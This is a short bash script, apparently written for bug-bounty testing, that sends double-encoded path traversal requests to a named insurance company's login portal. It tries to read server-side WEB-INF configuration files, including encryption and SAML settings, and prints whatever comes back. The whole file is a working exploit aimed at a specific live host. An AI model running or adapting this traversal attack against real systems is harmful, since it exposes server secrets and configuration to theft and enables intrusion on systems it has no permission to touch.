#!/usr/bin/env bash
set -euo pipefail
base='https://mein-portal.baloise.de/auth/ui/assets/airlock/i18n/%252e%252e/%252e%252e/%252e%252e/%252e%252e/WEB-INF/classes'
for n in application/parameters/infrastructure/parameter-defaults parameter-defaults fmConfigurationService libEncryption libSAML libSAML2 libSAML2Meta libSystemConfiguration; do
  enc=$(python -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1],safe="/_-."))' "$n")
  echo "===== $n ====="
  curl -sk --max-time 15 -H 'X-Bug-Bounty: dwbzn' -H 'Accept: application/json' "$base/$enc.json" -D - -o - 2>&1 | sed -n '1,240p'
  echo
done
